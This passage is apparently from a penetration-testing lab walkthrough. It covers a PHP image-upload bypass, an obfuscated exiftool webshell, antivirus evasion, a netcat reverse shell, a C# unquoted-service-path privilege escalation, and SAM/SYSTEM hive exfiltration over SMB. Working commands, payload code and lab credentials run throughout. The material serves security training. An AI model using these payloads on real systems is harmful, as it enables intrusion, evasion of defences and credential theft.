separator="======================================="; for i in $(ls); do printf "\n\n$separator\n\033[4;1m$i\033[0m\n$(cat $i/commit-meta.txt)\n"; done; printf "\n\n$separator\n\n\n"
We can see three different commit comments: Static Website Commit, Updated the filter, and Initial Commit for the back-end.
To determine the commit order, we identify the commit with no parent and compare it to the other commits:
70dde80cc19ec76704567996738894828f4ee895
82dfc97bec0d7582d485d9031c09abcb5c6b18f2
345ac8b236064b431fa43f53d91c98c4834ef8f3
Based on the comment from the third commit 345ac8b236064b431fa43f53d91c98c4834ef8f3
, we will analyze the filter and determine if it is possible to bypass security controls.
Website Code Analysis
First, we need to locate a PHP
file to identify potential vulnerabilities. We can accomplish this by searching for .php
files using a wildcard in the directory.
Change Directory:
cd 1-345ac8b236064b431fa43f53d91c98c4834ef8f3
Look for a PHP file:
find . -name "*.php"
Analyze the code:
<?php
if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
$target = "uploads/".basename($_FILES["file"]["name"]);
$goodExts = ["jpg", "jpeg", "png", "gif"];
if(file_exists($target)){
header("location: ./?msg=Exists");
die();
}
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
}
move_uploaded_file($_FILES["file"]["tmp_name"], $target);
header("location: ./?msg=Success");
die();
} else if ($_SERVER["REQUEST_METHOD"] == "post"){
header("location: ./?msg=Method");
}
if(isset($_GET["msg"])){
$msg = $_GET["msg"];
switch ($msg) {
case "Success":
$res = "File uploaded successfully!";
break;
case "Fail":
$res = "Invalid File Type";
break;
case "Exists":
$res = "File already exists";
break;
case "Method":
$res = "No file send";
break;
}
}
?>
<!DOCTYPE html>
<html lang=en>
<!-- ToDo:
- Finish the styling: it looks awful
- Get Ruby more food. Greedy animal is going through it too fast
- Upgrade the filter on this page. Can't rely on basic auth for everything
- Phone Mrs Walker about the neighbourhood watch meetings
-->
<head>
<title>Ruby Pictures</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" type="text/css" href="assets/css/Andika.css">
<link rel="stylesheet" type="text/css" href="assets/css/styles.css">
</head>
<body>
<main>
<h1>Welcome Thomas!</h1>
<h2>Ruby Image Upload Page</h2>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" id="fileEntry" required, accept="image/jpeg,image/png,image/gif">
<input type="submit" name="upload" id="fileSubmit" value="Upload">
</form>
<p id=res><?php if (isset($res)){ echo $res; };?></p>
</main>
</body>
</html>
Analyzing the code below reveals two things: we can bypass the filter by including an additional extension, and there is a whitelist filter in place to allow only these approved extensions: .jpg, .jpeg, .png, .gif
.
if(isset($_POST["upload"]) && is_uploaded_file($_FILES["file"]["tmp_name"])){
$target = "uploads/".basename($_FILES["file"]["name"]);
$goodExts = ["jpg", "jpeg", "png", "gif"];
if(file_exists($target)){
header("location: ./?msg=Exists");
die();
}
$size = getimagesize($_FILES["file"]["tmp_name"]);
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts) || !$size){
header("location: ./?msg=Fail");
die();
}
This line of code:
if(!in_array(explode(".", $_FILES["file"]["name"])[1], $goodExts)
Essentially, it searches for the delimiter, extracts the filename and extension, and then passes them through the filter. The issue arises when a second extension, such as .php
, is introduced. In this case, the first extension will pass through the filter as ".jpg
", and the second extension will be appended back to the filename, making it accessible as a .php
file.
Exploit Proof of Concept
We are presented with a login prompt upon visiting http://10.200.105.100/resources
. Luckily for us, we obtained some possible credentials earlier when we extracted credentials using Mimikatz
.
Potential Usernames:
Thomas
andtwreath
Potential Password:
i<3ruby
Successful Login Credentials:
Thomas:i<3ruby
Upon uploading an image featuring a .jpg
extension, the following is returned:
However, when uploading a file that is not included in the whitelist filter, the following message is returned:
We already know that we can append a second extension, .php
, to bypass the first filter, but bypassing the second filter will be slightly more challenging. Considering that the getimagesize()
function of the filter checks for attributes of an image, we can meet those requirements while also including a PHP webshell in the Comment field of the image metadata by using exiftool
.
cp realimage.jpg shell.jpg.php
exiftool shell.jpg.php
Now, we aim to insert a PHP
payload into the file's metadata
:
exiftool -Comment="<?php echo \"<pre>Test Payload</pre>\"; die(); ?>" shell.jpg.php
After uploading the file and navigating to http://10.200.105.100/resources/uploads/shell.jpg.php
, we are presented with the following:
This is excellent news, as it indicates that we have achieved Remote Code Execution (RCE) on the server. However, we will refrain from uploading a shell at this time, as we are uncertain about the antivirus software installed on Thomas' machine and wish to avoid triggering any alarms. We will return to this issue after obfuscating our file to evade Antivirus (AV) detection.
Antivirus Evasion
PHP obfuscation entails implementing a variety of transformations to PHP code, including altering variable names, eliminating whitespace, encoding strings, and incorporating extraneous code. This process increases the code's complexity and makes it harder for humans to understand during static analysis and for antivirus heuristic-based detection systems. Bearing this in mind, let's obfuscate our payload to bypass Thomas' Windows Defender.
Payload:
<?php
$cmd = $_GET["wreath"];
if(isset($cmd)){
echo "<pre>" . shell_exec($cmd) . "</pre>";
}
die();
?>
We're avoiding the one-liner '<?php system($_GET["cmd"]);?>
' to minimize detection as much as possible. In this scenario, being different is advantageous. Moreover, when we obfuscate our code, it will transform into a one-liner anyway.
We will utilize https://www.gaijin.at/en/tools/php-obfuscator to obfuscate the code.
Obfuscated PHP
Code:
<?php $o0=$_GET[base64_decode('d3JlYXRo')];if(isset($o0)){echo base64_decode('PHByZT4=').shell_exec($o0).base64_decode('PC9wcmU+');}die();?>
We need to make a slight modification to ensure that the $
signs don't get recognized as bash variables.
<?php \$o0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$o0)){echo base64_decode('PHByZT4=').shell_exec(\$o0).base64_decode('PC9wcmU+');}die();?>
Now, we can set up our payload for deployment:
exiftool -Comment="<?php \$o0=\$_GET[base64_decode('d3JlYXRo')];if(isset(\$o0)){echo base64_decode('PHByZT4=').shell_exec(\$o0).base64_decode('PC9wcmU+');}die();?>" shell-reapZ.jpg.php
Upload the file and go to: http://10.200.105.100/resources/uploads/shell-reapZ.jpg.php
If everything went according to plan, we should receive an output like this:
This means we have RCE capability:
Compiling Netcat and Reverse Shell
There are multiple ways to try and gain a reverse shell on Thomas' PC. However, we need to be very careful not to trigger Windows Defender. Using a PowerShell reverse shell seems like a good idea, but Windows Defender would detect it in a split second. We know there's a PHP interpreter
on the machine, as that's how we obtained RCE in the first place, but we won't go this route because PHP
shells can be a bit finicky. We're going to go with the old trusty netcat
binary, but not just any binary—one that is less likely to be detected by Windows Defender.
Clone Repository:
git clone https://github.com/int0x33/nc.exe/
Start Python Server:
python3 -m http.server 8002
Upload via curl
:
curl http://<ATTACK_BOX_IP>:8002/nc64.exe -o C:\\Windows\\Temp\\nc-reapZ.exe
Next, we need to initiate a Netcat
listener on our attack box:
rlwrap -cAr nc -lvnp 13337
Call it from the web shell:
powershell.exe c:\\windows\\temp\\nc-reapZ.exe <ATTACK_BOX_IP> 13337 -e cmd.exe
Enumerate Thomas' PC
whoami /priv
Check current user groups:
whoami /groups
Let's search for non-standard services:
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
This command lists all the services on the system and then filters only those services located outside of the C:\Windows
directory. Immediately, we can see that the service SystemExplorerHelpService
has a PathName
that is missing quotes, which essentially means we can upload a payload as System.exe
and initiate our privilege escalation. Running sc qc SystemExplorerHelpService
informs us that the service is running as LocalSystem
.
Let's verify that we can actually write to it:
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
Perfect, we have full control of this directory.
Privesc and Root
Considering that we already have Netcat on the machine, all we need to do is create a simple wrapper program that will execute Netcat as NT AUTHORITY\SYSTEM
and connect back to our listener. We will disguise it as System.exe
to exploit the unquoted service path vulnerability found in SystemExplorerHelpService
.
Install the compiler mono
:
sudo apt install mono-devel
Open a file called Wrapper.cs
:
gedit Wrapper.cs
Add the necessary imports to make use of code from other namespaces, which will grant us access to essential functions.
using System;
using System.Diagnostics;
These will enable us to start Netcat. Next, we need to initialize a namespace and a class for our program.
namespace Wrapper {
class Program {
static void Main() {
// Netcat reverse shell here
}
}
}
Now, we can incorporate our reverse shell.
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-reapZ.exe", "<ATTACK_BOX_IP> 13337 -e cmd.exe");
We need to ensure that the program does not generate a GUI window upon execution.
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
Completed Program:
using System;
using System.Diagnostics;
namespace Wrapper {
class Program {
static void Main() {
Process proc = new Process();
ProcessStartInfo procInfo = new ProcessStartInfo("c:\\windows\\temp\\nc-reapZ.exe", "<ATTACK_BOX_IP> 13337 -e cmd.exe");
procInfo.CreateNoWindow = true;
proc.StartInfo = procInfo;
proc.Start();
}
}
}
Now, we can compile our program using the Mono mcs
compiler by executing the following command:
mcs Wrapper.cs
Upload it using a Python server and curl
.
Now, start a listener and run the program:
rlwrap -cAr nc -lvnp 13337
Excellent, this works. Now let's rename this to System.exe
and place it in the SystemExplorerHelpService
file path: C:\Program Files (x86)\System Explorer\System Explorer\service\SystemExplorerService64.exe
. Due to the unquoted file path vulnerability, our program will be executed with NT AUTHORITY\SYSTEM
at this location: "C:\Program Files (x86)\System Explorer\System.exe"
.
Now, let's restart the SystemExplorerHelpService
so that the system will execute our shell.
sc stop SystemExplorerHelpService
sc start SystemExplorerHelpService
And we have root access! As an additional bonus and for extra practice, we will exfiltrate Thomas' data as evidence of compromise. However, it is crucial to remember that you should never exfiltrate data without the explicit permission of the hiring authority under any circumstances.
Exfiltration
As a means of demonstrating to Thomas that we have gained root access to his machine, we will supply the password hash for his Administrator
account. To accomplish this, we will save the SAM
and SYSTEM
hives.
Extract SAM
hive:
reg.exe save HKLM\SAM sam.bak
Extract SYSTEM
hive:
reg.exe save HKLM\SYSTEM system.bak
Now, we need to transfer these files back to our attacking device in order to extract the password hashes.
Start smbserver
:
smbserver.py share . -smb2support -username user -password s3cureP@ssword
Connect to the server from Thomas's PC:
net use \\<ATTACK_BOX_IP>\share /USER:user s3cureP@ssword
Now transfer the sam.bak
and system.bak
files.
Now, we can extract the hashes using secretsdump.py
from Impacket
:
python /usr/local/bin/secretsdump.py -sam sam.bak -system system.bak LOCAL
Summary
In this comprehensive guide, the author demonstrates how to assess the security of a friend's home network, focusing on enumeration, exploitation, pivoting, command and control, antivirus evasion, and data exfiltration. The walkthrough includes the use of tools such as nmap, ffuf, WebMin, GitStack, PowerShell Empire, Starkiller, Chisel, and Mono, as well as techniques for bypassing security filters and evading antivirus detection. The guide is designed to take approximately 30 minutes to read and longer if following along while attempting to complete the tasks.